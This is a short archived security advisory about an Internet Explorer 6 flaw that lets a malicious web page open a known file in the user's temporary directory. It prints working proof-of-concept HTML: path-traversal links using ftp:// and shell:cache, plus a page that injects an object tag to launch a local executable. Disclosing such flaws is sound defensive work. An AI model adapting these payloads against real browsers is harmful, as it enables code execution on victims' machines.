source: http://www.securityfocus.com/bid/7826/info

Microsoft Internet Explorer is prone to an issue which could permit an attacker to load a known, existing file in a user's temporary directory (or possibly other directories in a user's profile). It is possible to exploit this issue via a malicious web page or HTML document. Exploitation would either require that an attacker already knows of a file in the user's temporary directory or that the attacker can place an arbitrary file in this directory.

This issue was reported to affect Internet Explorer 6, however, earlier versions may also be prone to this weakness. 

[ftpexp.html]
<html>
<a href="ftp://%@/../../../../Local Settings/Temp/exploit.html" TYPE="text/html" target="_blank">Exploit</a>
</html>

The must click the exploit link, which loads the following file (which must exist in the user's Temp directory):

[exploit.html]
<html>
<script>setTimeout(function(){document.body.innerHTML='<object classid="clsid:11111111-1111-1111-1111-111111111111"
codebase="file://c:/winnt/notepad.exe"></object>'}, 0);</script>
</html>

The following will read the file %TEMP%\exploit.html on a Windows 2003 system:

<a href="shell:cache\..\..\Local Settings\Temp\exploit.html">Exploit</a> 